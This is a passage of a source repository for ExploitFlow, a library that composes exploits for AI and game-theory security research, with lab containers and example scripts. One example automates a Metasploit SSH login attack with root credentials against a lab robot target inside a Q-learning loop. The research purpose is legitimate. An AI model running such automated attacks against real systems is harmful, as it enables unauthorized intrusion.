├── .devcontainer ├── Dockerfile ├── devcontainer.json ├── docker-compose.yml └── requirements.txt ├── .gitignore ├── .theia └── launch.json ├── .vscode ├── launch.json └── tasks.json ├── LICENSE ├── README.md ├── examples ├── 0_empty.py ├── 10_exploitation_ur_qlearning.py ├── 11_exploitation_ur_qlearning_instances.py ├── 12_exploitation_ur_learned_flow.py ├── 13_exploitation_ur_bruteforce.py ├── 1_basic.py ├── 2_reconnaissance.py ├── 3_reconnaissance_msf.py ├── 4_reconnaissance_multitarget_msf.py ├── 5_reconnaissance_multitarget_nmap.py ├── 6_exploitation_ros.py ├── 7_reconnaissance_ros2.py ├── 8_exploitation_ur.py └── 9_exploitation_ur_human_expert.py ├── exploitflow ├── __init__.py ├── adapters.py ├── common.py ├── exploit.py ├── flow.py ├── graph.py ├── killchain │ ├── __init__.py │ ├── control │ │ └── __init__.py │ ├── escalation │ │ └── __init__.py │ ├── exfiltration │ │ └── __init__.py │ ├── exploitation │ │ └── __init__.py │ ├── lateral │ │ └── __init__.py │ └── reconnaissance │ │ ├── __init__.py │ │ ├── targets.py │ │ └── versions.py ├── models.py └── state.py ├── requirements.txt └── setup.py /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | # [Optional] Uncomment this section to install additional OS packages. 4 | RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ 5 | && apt-get -y install --no-install-recommends \ 6 | net-tools python3 python3-pip \ 7 | curl gnupg nmap iputils-ping ssh git \ 8 | graphviz 9 | 10 | # Install Metasploit 11 | RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall \ 12 | && chmod 755 /tmp/msfinstall \ 13 | && /tmp/msfinstall 14 | 15 | # # [Optional] If your pip requirements rarely change, uncomment this section to add them to the image. 16 | # # alternatively, this also helps avoid having to pull requirements from the internet every single time 17 | COPY requirements.txt /tmp/pip-tmp/ 18 | RUN pip3 --disable-pip-version-check --no-cache-dir install -r /tmp/pip-tmp/requirements.txt \ 19 | && rm -rf /tmp/pip-tmp 20 | RUN pip3 install tensorflow pandas 21 | -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: 2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.241.1/containers/python-3 3 | { 4 | "name": "exploitflow_devenv", 5 | 6 | // "build": { 7 | // "dockerfile": "Dockerfile", 8 | // "context": "..", 9 | // "args": { 10 | // // Update 'VARIANT' to pick a Python version: 3, 3.10, 3.9, 3.8, 3.7, 3.6 11 | // // Append -bullseye or -buster to pin to an OS version. 12 | // // Use -bullseye variants on local on arm64/Apple Silicon. 13 | // "VARIANT": "3.10-bullseye", 14 | // // Options 15 | // "NODE_VERSION": "lts/*" 16 | // } 17 | // }, 18 | 19 | "dockerComposeFile": ["./docker-compose.yml"], 20 | "service": "devenv", 21 | // "shutdownAction": "none", // don't shut down container when vscode is closed 22 | "workspaceFolder": "/workspace", 23 | 24 | // Configure tool-specific properties. 25 | "customizations": { 26 | // Configure properties specific to VS Code. 27 | "vscode": { 28 | // Set *default* container specific settings.json values on container create. 29 | "settings": { 30 | "python.defaultInterpreterPath": "/usr/local/bin/python", 31 | "python.linting.enabled": true, 32 | "python.linting.pylintEnabled": true, 33 | "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8", 34 | "python.formatting.blackPath": "/usr/local/py-utils/bin/black", 35 | "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf", 36 | "python.linting.banditPath": "/usr/local/py-utils/bin/bandit", 37 | "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8", 38 | "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy", 39 | "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle", 40 | "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle", 41 | "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint" 42 | }, 43 | 44 | // Add the IDs of extensions you want installed when the container is created. 45 | "extensions": [ 46 | "ms-python.python", 47 | "ms-toolsai.jupyter-renderers", 48 | "ms-toolsai.jupyter", 49 | "ms-python.vscode-pylance" 50 | ] 51 | } 52 | }, 53 | 54 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 55 | // "forwardPorts": [], 56 | 57 | // Use 'postCreateCommand' to run commands after the container is created. 58 | // "postCreateCommand": "pip3 install --user -r requirements.txt", // doing it instead in 59 | // the dockerfile to cache 60 | // requirements in container 61 | "postStartCommand": ["nohup", "msfrpcd", "-P", "exploitflow", "&"], 62 | 63 | // // Comment out to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. 64 | // "remoteUser": "vscode" 65 | 66 | "runArgs": ["--privileged"] 67 | } 68 | -------------------------------------------------------------------------------- /.devcontainer/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | ################# 4 | # SERVICES 5 | ################# 6 | services: 7 | 8 | # Developer environment 9 | devenv: 10 | build: 11 | context: .. 12 | dockerfile: .devcontainer/Dockerfile 13 | volumes: 14 | # Mount the root folder that contains .git 15 | - ..:/workspace:cached 16 | command: /bin/sh -c "while sleep 10; do :; done" 17 | # command: | 18 | # /bin/bash -c " 19 | # apt-get update && apt-get install -y vim nmap net-tools netcat git python3 python3-pip && 20 | # pip3 install git+https://github.com/vmayoral/scapy@tcpros && 21 | # while sleep 10; do :; done 22 | # " 23 | # python3 examples/6_exploitation_ros.py 192.168.2.6 24 | networks: 25 | exploitflownet: 26 | ipv4_address: 192.168.2.5 27 | cap_add: 28 | - NET_ADMIN 29 | # - ALL 30 | 31 | # Collaborative robot target 32 | ur3: 33 | container_name: ur3 34 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:ur3_cb3.1_3.12.1 35 | command: | 36 | /bin/sh -c " 37 | echo '2033333333' > /root/ur-serial && truncate -s -1 /root/ur-serial && 38 | cd /root/.urcontrol && ln -s urcontrol.conf.UR3 urcontrol.conf && 39 | source /root/run_gui.sh && 40 | java -Djava.library.path=/root/GUI/lib -jar bin/felix.jar & 41 | /etc/init.d/ssh start && 42 | /bin/sleep 10 && cd /root/.urcontrol/daemon/ && ./run 43 | " 44 | networks: 45 | exploitflownet: 46 | ipv4_address: 192.168.2.10 47 | 48 | ros: 49 | container_name: ros 50 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:ros_melodic 51 | command: | 52 | /bin/bash -c " 53 | export ROS_MASTER_URI='http://192.168.2.6:11311' 54 | source /opt/ros/melodic/setup.bash && roscore & 55 | /bin/sleep 10 && source /opt/ros/melodic/setup.bash && 56 | rostopic pub /chatter std_msgs/String "Publisher" -r 5 57 | " 58 | networks: 59 | exploitflownet: 60 | ipv4_address: 192.168.2.6 61 | 62 | ros2: 63 | container_name: ros2 64 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:ros2_dashing 65 | command: | 66 | /bin/sh -c " 67 | source /opt/ros2_ws/install/setup.bash && 68 | export ROS_DOMAIN_ID=0 && 69 | RMW_IMPLEMENTATION=rmw_fastrtps_cpp ros2 run demo_nodes_cpp talker --ros-args --remap talker:=talker_open 70 | " 71 | networks: 72 | exploitflownet: 73 | ipv4_address: 192.168.2.7 74 | 75 | px4: 76 | container_name: px4 77 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:px4_1.13.1 78 | # NOTE: This is a workaround to keep the container running, to launch the PX4 SITL: 79 | # /root/entrypoint.sh 80 | # or manually: 81 | # cd /root/Firmware && HEADLESS=1 make px4_sitl gazebo_iris__empty 82 | command: | 83 | /bin/bash -c " 84 | while sleep 10; do :; done 85 | " 86 | networks: 87 | exploitflownet: 88 | ipv4_address: 192.168.2.8 89 | 90 | ################# 91 | # NETWORKS 92 | ################# 93 | networks: 94 | exploitflownet: 95 | ipam: 96 | driver: default 97 | config: 98 | - subnet: 192.168.2.0/24 -------------------------------------------------------------------------------- /.devcontainer/requirements.txt: -------------------------------------------------------------------------------- 1 | pymetasploit3 2 | networkx==2.5 3 | requests 4 | wasabi 5 | xmltodict 6 | pydot==1.4.2 -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.egg-info/ 2 | __pycache__ 3 | .DS_Store 4 | nohup.out 5 | results/ -------------------------------------------------------------------------------- /.theia/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | "version": "0.2.0", 5 | "configurations": [ 6 | 7 | { 8 | "name": "Python: Current File", 9 | "type": "python", 10 | "request": "launch", 11 | "program": "${file}", 12 | "console": "integratedTerminal" 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense para saber los atributos posibles. 3 | // Mantenga el puntero para ver las descripciones de los existentes atributos. 4 | // Para más información, visite: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Python: archivo actual", 9 | "type": "python", 10 | "request": "launch", 11 | "program": "${file}", 12 | "console": "integratedTerminal", 13 | "justMyCode": false, 14 | "env": { "PYTHONPATH": "${workspaceRoot}"}, 15 | // "preLaunchTask": "msfrpcd" // to launch while debugging MSF adapter 16 | } 17 | ] 18 | } -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | // See https://go.microsoft.com/fwlink/?LinkId=733558 3 | // for the documentation about the tasks.json format 4 | "version": "2.0.0", 5 | "tasks": [ 6 | { 7 | "label": "msfrpcd", 8 | "type": "shell", 9 | "command": "msfrpcd", 10 | "args": ["-P", "exploitflow"] 11 | }, 12 | { 13 | "label": "echo", 14 | "type": "shell", 15 | "command": "echo", 16 | "args": ["test", ">", "/workspaces/ExploitFlow/test"] 17 | }, 18 | 19 | ] 20 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ExploitFlow 2 | 3 | ExploitFlow (`EF`) is a modular library to produce cybersecurity exploitation routes (*exploit flows*). It aims to combine and compose exploits from different sources and frameworks, capturing the state of the system being tested in a *flow* after every discrete action. 4 | 5 | It's main motivation is to facilitate and empower Game Theory and Artificial Intelligence (AI) research in cybersecurity. To facilitate adoption, EF's syntax and architecture is inspired by TensorFlow[^1][^2]. To simplify exploitation, EF represents each action in an exploitation route with the superclass `Exploit`, including *reconnaissance* and *control* actions[^4]. Exploits are grouped in 6 major categories inspired by the security kill chain [^3]: 6 | 7 | 1. Reconnaissance and weaponization - *reconnaissance* 8 | 2. Exploitation - *exploitation* 9 | 3. Privilege escalation - *escalation* 10 | 4. Lateral movement - *lateral* 11 | 5. Data exfiltration - *exfiltration* 12 | 6. Command and control - *control* 13 | 14 | `EF` is a modular, extensible (accepting connectors for other exploitation frameworks and/or individual exploits) and composeable library to empower Artificial Intelligence (AI) research in cybersecurity. EF is **not an exploitation framework**. 15 | 16 | 17 | ### Antigoals 18 | 19 | **Legal disclaimer** 20 | *Access to this library and the use of information, materials (or portions thereof), is not intended, and is prohibited, where such access or use violates applicable laws or regulations. By no means the authors encourage or promote the unauthorized tampering with running systems. This can cause serious human harm and material damages*. 21 | 22 | *By no means the authors of ExploitFlow encourage or promote the unauthorized tampering with compute systems*. Please don't use the source code in here to: 23 | 24 | - Favour cybercrime. Pentest instead for good. 25 | - Create yet another exploitation framework, there're already too many. 26 | - Create a new exploit database. Contribute an adapter instead. 27 | 28 | ### Usage 29 | ```python 30 | import exploitflow as ef 31 | 32 | flow = ef.Flow() 33 | a = ef.placeholder() 34 | print(flow.run(a)) # None 35 | ``` 36 | 37 | ### Simplified development 38 | ExploitFlow has been developed and integrated in both Theia and VSCode. More the more complex setups, this repo allows to ["Develop inside of a Container"](https://code.visualstudio.com/docs/remote/containers#_quick-start-try-a-development-container). If you wish to test things out, try the following: 39 | 40 | ``` 41 | - Open repository in VSCode 42 | - Install/Launch Docker in your OS 43 | - (inside of VSCode toolbar) Remote-Containers: Reopen in Container 44 | - (inside of VSCode toolbar) Dev Containers: Reopen Folder Locally (to exit from container) 45 | - (inside of VSCode toolbar) Dev Containers: Rebuild and Reopen Folder in Container (to rebuild container) 46 | ``` 47 | 48 | Then, to launch an example, open one of the [`examples`](examples), e.g. `0_empty.py` and then press `fn + ctrl + F5` to execute (or `fn + F5` do debug). 49 | 50 | 51 | ## Adapters 52 | Adapters are EF's connectors to other exploitation frameworks, so that their exploits can be used while building *exploit flows*. Through adapters EF remains both modular and extensible. 53 | 54 | Currently the following adapters are available: 55 | - `AdapterMSF`: an adapter for the **M**eta**S**ploit **F**ramework 56 | 57 | 58 | 59 | [^1]: Tensorflow. See https://www.tensorflow.org. 60 | 61 | [^2]: MiniFlow. A minimal numerical computation library with TensorFlow APIs. 62 | 63 | [^3]: Kamhoua, C. A., Leslie, N. O., & Weisman, M. J. (2018). Game theoretic modeling of advanced persistent threat in internet of things. Journal of Cyber Security and Information Systems. 64 | 65 | [^4]: We are well aware that strictly speaking reconnaissance scripts don't meet the formal definition of an exploit but still insist on grouping all action under the same common class (`Exploit`) to simplify the production of exploitation flows (routes). -------------------------------------------------------------------------------- /examples/0_empty.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # An empty exploit flow 16 | # a simple placeholder exploit is run 17 | # 18 | # ┌─────────────┐ 19 | # │ Placeholder │ 20 | # └─────────────┘ 21 | 22 | import exploitflow as ef 23 | from exploitflow.state import State_v0 24 | 25 | flow = ef.Flow(State_v0) # use basic data model 26 | 27 | a = ef.Placeholder() 28 | print(flow.run(a)) # None 29 | print(flow.ascii()) # expect a placeholder Node 30 | flow.to_dot("/tmp/exploitflow.dot") -------------------------------------------------------------------------------- /examples/10_exploitation_ur_qlearning.py: -------------------------------------------------------------------------------- 1 | import math 2 | import random 3 | import sys 4 | import exploitflow as ef 5 | from wasabi import color 6 | 7 | ################################# 8 | # NOTE on network state encoding: 9 | ################################# 10 | # Experiment designed with the following constraints: 11 | # 12 | # - y = 255, number of IPs considered 13 | # - ports 14 | # - n = 424, number of ports per IP considered 15 | # - l = 1, (open/closed) number of elements of information per port 16 | # - exploits 17 | # - m = 12, number of exploits considered 18 | # - b = 1, (launched/not launched) number of elements of information per exploit 19 | # - s = 0, system information elements considered 20 | # 21 | # Which leads to # of elements while encoding the state: 22 | # y * [n*(n + l) + m*(m + b) + s] = 255 * [424*(424 + 1) + 12*(12 + 1) + 0] = 256 * 180,356 = 46,171,136 23 | # this leads to a setup which is non-feasible computationally. 24 | # 25 | # Therefore, we need to reduce the number of elements considered. 26 | # We will do so by reducing the number of ips considered. Given 6 unique IPs: 27 | # 28 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8"] 29 | # 30 | # we have the following number of elements while encoding the state: 31 | # y * [n*(n + l) + m*(m + b) + s] = 6 * [424*(424 + 1) + 12*(12 + 1) + 0] = 6 * 180,356 = 1,082,136 32 | # 33 | # still too many elements. We will change the number of ip and ports considered. 34 | # We will now use the following 7 unique IPs: 35 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8", "192.168.2.1"] 36 | # and the following ports: 37 | # TARGET_PORTS_BASIC = list(range(21, 30)) 38 | # 39 | # accordingly, we have the following number of elements while encoding the state: 40 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 12*(12 + 1) + 0] = 7 * 246 = 1,722 41 | # 42 | # EXTRA: if we add dynamically a new exploit, we have: 43 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 13*(13 + 1) + 0] = 7 * 272 = 1,904 44 | 45 | flow = ef.Flow() 46 | 47 | # exploits 48 | ## initialize 49 | init = ef.Init() 50 | recon = ef.Targets() 51 | versions = ef.Versions() 52 | idle = ef.Idle() 53 | expl = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login") 54 | ## set options 55 | recon.target = "192.168.2.1" 56 | versions.target = "192.168.2.10" 57 | msf_options = { 58 | "RHOSTS": "192.168.2.10", 59 | "USERNAME": "root", 60 | "PASSWORD": "easybot" 61 | } 62 | expl.set_options(msf_options) 63 | expl.target = "192.168.2.10" 64 | ## set reward 65 | idle.reward = 0 66 | expl.reward = -10 67 | expl.success_reward = 100 68 | versions.reward = -10 69 | recon.reward = -10 70 | 71 | # ef.exploits_all = ef.exploits_all + [ef.FakeVersions2] 72 | 73 | # global variables used for the one-hot-encoded state 74 | exploits = [recon, versions, idle, expl, init] 75 | # exploits = [versions, idle, expl] 76 | exploits_encoded = [exploit.name for exploit in exploits] 77 | 78 | # set learning model 79 | ## actions: list of actions available in the environment 80 | ## epsilon: exploration factor 81 | ## alpha: learning rate 82 | ## gamma: discount factor 83 | flow.set_learning_model(ef.QLearn(actions=exploits_encoded, alpha=0.1, gamma=0.9, epsilon=0.1)) 84 | 85 | rollouts = 1000 86 | episode = 10 87 | age = 1 88 | debug = False 89 | last_10_actions = [] 90 | 91 | while age <= rollouts: 92 | 93 | # observe the reward and update the model 94 | if flow.last_state(): 95 | flow._graph.learning_model.learn( 96 | tuple(flow.last_state().one_hot_encode()), 97 | flow.last_action().name, 98 | flow.last_reward(), 99 | tuple(flow.state().one_hot_encode()), 100 | debug=False) 101 | 102 | # choose an action 103 | if flow.state(): 104 | action = flow._graph.learning_model.chooseAction(tuple(flow.state().one_hot_encode())) 105 | else: 106 | # use init 107 | action = init.name # always start with init 108 | 109 | last_10_actions.append(action) 110 | # fetch the action object from its "exploits_encoded" name 111 | action_expl = [exploit for exploit in exploits if exploit.name == action][0] 112 | 113 | # execute that action 114 | if flow.state(): 115 | flow.run(flow.state() * action_expl, debug=debug) 116 | else: 117 | flow.run(action_expl, debug=debug) 118 | 119 | if age % 10 == 0: 120 | # debug 121 | age_str = "Age: " + color("{:d}".format(age), fg="white", bg="blue", bold=True) 122 | epsilon_str = ", epsilon: {:0.2f}".format(flow._graph.learning_model.epsilon) 123 | reward_str = ", reward: " + color("{:0.2f}".format(flow.reward()), fg="white", bg="red", bold=True) 124 | bytes = sys.getsizeof(flow._graph.learning_model.q) 125 | q_size_str = ", Q-size bytes: {:d} ".format(bytes) 126 | q_size_str += color("({:.2f} KB, {:d} elements)".format(bytes/1024, len(flow._graph.learning_model.q.keys())), 127 | fg="white", bg="blue", bold=True) 128 | print_message = age_str + epsilon_str + reward_str + q_size_str 129 | 130 | # last_actions_str = " -- last 10 actions: " + ", " + color([str(n) for n in last_10_actions[-10:]], fg="black", bg="white") 131 | # last_10_actions = [] 132 | # print_message += last_actions_str 133 | print(print_message) 134 | 135 | if age == rollouts: 136 | print(flow) 137 | 138 | if age % episode == 0: 139 | # reset the flow 140 | flow.reset() # reward=0, state=None, last_state=None, last_action=None, last_reward=None 141 | 142 | # next rollout 143 | age += 1 144 | -------------------------------------------------------------------------------- /examples/11_exploitation_ur_qlearning_instances.py: -------------------------------------------------------------------------------- 1 | import math 2 | import random 3 | import sys 4 | import exploitflow as ef 5 | from wasabi import color 6 | 7 | ################################# 8 | # NOTE on network state encoding: 9 | ################################# 10 | # Experiment designed with the following constraints: 11 | # 12 | # - y = 255, number of IPs considered 13 | # - ports 14 | # - n = 424, number of ports per IP considered 15 | # - l = 1, (open/closed) number of elements of information per port 16 | # - exploits 17 | # - m = 12, number of exploits considered 18 | # - b = 1, (launched/not launched) number of elements of information per exploit 19 | # - s = 0, system information elements considered 20 | # 21 | # Which leads to # of elements while encoding the state: 22 | # y * [n*(n + l) + m*(m + b) + s] = 255 * [424*(424 + 1) + 12*(12 + 1) + 0] = 256 * 180,356 = 46,171,136 23 | # this leads to a setup which is non-feasible computationally. 24 | # 25 | # Therefore, we need to reduce the number of elements considered. 26 | # We will do so by reducing the number of ips considered. Given 6 unique IPs: 27 | # 28 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8"] 29 | # 30 | # we have the following number of elements while encoding the state: 31 | # y * [n*(n + l) + m*(m + b) + s] = 6 * [424*(424 + 1) + 12*(12 + 1) + 0] = 6 * 180,356 = 1,082,136 32 | # 33 | # still too many elements. We will change the number of ip and ports considered. 34 | # We will now use the following 7 unique IPs: 35 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8", "192.168.2.1"] 36 | # and the following ports: 37 | # TARGET_PORTS_BASIC = list(range(21, 30)) 38 | # 39 | # accordingly, we have the following number of elements while encoding the state: 40 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 12*(12 + 1) + 0] = 7 * 246 = 1,722 41 | # if we add dynamically a new exploit, we have: 42 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 13*(13 + 1) + 0] = 7 * 272 = 1,904 43 | 44 | 45 | flow = ef.Flow() 46 | 47 | ################################## 48 | # with instances 49 | ################################## 50 | from exploitflow.state import State_v4 51 | State_default = State_v4 52 | 53 | ## new exploits, if needed 54 | metasploit_2 = 